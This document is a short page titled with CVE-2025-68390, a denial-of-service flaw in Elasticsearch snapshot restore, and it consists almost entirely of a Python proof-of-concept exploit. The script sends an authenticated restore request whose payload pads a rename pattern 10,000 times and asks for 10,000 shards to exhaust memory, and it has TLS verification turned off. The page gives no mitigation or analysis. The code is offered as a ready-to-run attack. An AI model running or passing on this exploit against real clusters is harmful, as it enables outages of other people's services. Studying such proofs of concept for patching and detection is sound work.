CVE-2025-68390 Elasticsearch资源分配无限制导致DoS漏洞

import requests import json # CVE-2025-68390 PoC - Elasticsearch Resource Exhaustion via Snapshot Restore # This PoC demonstrates the vulnerability where authenticated users with snapshot # restore privileges can cause excessive memory allocation TARGET_HOST = "https://elasticsearch-target:9200" USERNAME = "elastic" PASSWORD = "password" def create_malicious_snapshot_request(): """ Create a crafted HTTP request that triggers excessive memory allocation during snapshot restore operations """ # Malicious snapshot restore request with oversized parameters endpoint = f"{TARGET_HOST}/_snapshot/malicious_repo/_restore" # Craft payload that triggers unbounded memory allocation malicious_payload = { "indices": "_all", "ignore_unavailable": True, "include_global_state": True, "rename_pattern": "(.+)", "rename_replacement": "malicious_\\1" * 10000, # Excessive string expansion "partial": False, "settings": { # Crafted settings that trigger excessive memory allocation "index.number_of_shards": 10000, "index.merge.policy.max_merged_segment": "100gb" } } return endpoint, malicious_payload def exploit(): """ Execute the exploit to trigger DoS condition """ auth = (USERNAME, PASSWORD) endpoint, payload = create_malicious_snapshot_request() headers = { "Content-Type": "application/json", "User-Agent": "Elasticsearch-Exploitation-PoC" } print(f"[*] Targeting: {TARGET_HOST}") print(f"[*] Sending crafted snapshot restore request...") try: response = requests.post( endpoint, auth=auth, headers=headers, json=payload, timeout=30, verify=False ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Request processed - potential memory exhaustion triggered") else: print("[-] Request failed - check credentials and permissions") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()